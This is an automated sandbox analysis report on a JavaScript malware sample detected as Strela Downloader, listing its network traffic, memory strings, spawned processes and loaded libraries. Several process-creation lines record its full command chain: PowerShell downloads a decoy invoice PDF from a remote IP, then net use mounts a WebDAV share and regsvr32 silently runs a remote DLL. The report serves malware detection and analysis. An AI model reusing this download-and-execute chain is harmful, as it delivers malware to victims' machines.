Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: wscript.exe, 00000000.00000003.2093349279.000001B1986E4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2095196165.000001B19A4EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2142159287.0000025B58A98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142247830.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2140839482.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142247830.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: net.exe, 00000007.00000003.2140839482.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142247830.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.3379040728.00000208D1284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2142411445.00000208D1090000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5652, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 44742054371077666.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/3

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5260:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yexwjwd.4t1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\44742054371077666.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1632,i,10391696243187007764,14497805632998593147,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1632,i,10391696243187007764,14497805632998593147,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
